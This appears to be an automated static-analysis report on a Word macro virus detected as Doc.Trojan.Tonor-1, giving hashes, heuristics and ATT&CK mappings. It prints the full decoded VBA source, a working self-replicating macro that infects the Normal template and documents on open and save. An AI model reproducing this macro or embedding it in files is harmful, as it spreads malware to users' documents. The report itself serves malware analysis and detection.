Doc.Trojan.Tonor-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 dee35b0e121a94ef…

MALICIOUS

Office (OLE)

28.5 KB Created: 1980-01-11 05:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 827efbff28ec21befbdd2c1dc39b6032 SHA-1: fcac342e1957097e3d14ebde1de1af93ecf952d1 SHA-256: dee35b0e121a94efb8f3901900d9c16cfae3b0bf06f307a3240c88622b45e91c
200 Risk Score

Malware Insights

Doc.Trojan.Tonor-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Tonor-1. It contains a VBA macro with an AutoOpen subroutine that attempts to copy itself to other documents and mark them with the string 'IAMHERE'. The macro also includes logic to save the document with a variable set to 'OK', indicating a potential persistence or spread mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Tonor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tonor-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1808 bytes
SHA-256: 3475050e42b39644f873e98a71d91952778ea0024b60beacdbcda9b4c1cb2e16
Detection
ClamAV: Doc.Trojan.Tonor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "TONORMAL"
Public Sub AutoOpen()

If Templates(1).AutoTextEntries.Item(1) = "IAMHERE" Then GoTo done Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
            Destination:=Application.Templates(1).FullName, Name:="TONORMAL", _
            Object:=wdOrganizerObjectProjectItems
Templates(1).AutoTextEntries.Add("- AAAAAAAA", ActiveDocument.Words(1)) = "IAMHERE"
done:
On Error GoTo kill
kill:
End Sub
Public Sub FileSaveAs()
Dim kobar As String
Dialogs(wdDialogFileSaveAs).Show
If (ActiveDocument.Variables.Count > 0) Then If (ActiveDocument.Variables.Item(1).Value = "OK") Then GoTo done Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
            Destination:=ActiveDocument.FullName, Name:="TONORMAL", _
            Object:=wdOrganizerObjectProjectItems
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK"

done:
ActiveDocument.SaveAs (Dialogs(wdDialogFileSaveAs).Name)
On Error GoTo kill
kill:
End Sub
Public Sub FileSave()
If ActiveDocument.Variables.Count > 0 Then
    If (ActiveDocument.Variables.Item(1).Value = "OK") Then GoTo done
    Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
            Destination:=ActiveDocument.FullName, Name:="TONORMAL", _
            Object:=wdOrganizerObjectProjectItems
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK"
End If
done:
ActiveDocument.Save
On Error GoTo kill
kill:

End Sub
Public Sub about()
' VIRUS 8x64oct
' FROM ESTONIA
' NOT HARMFUL
' ONLY SPREADS
End Sub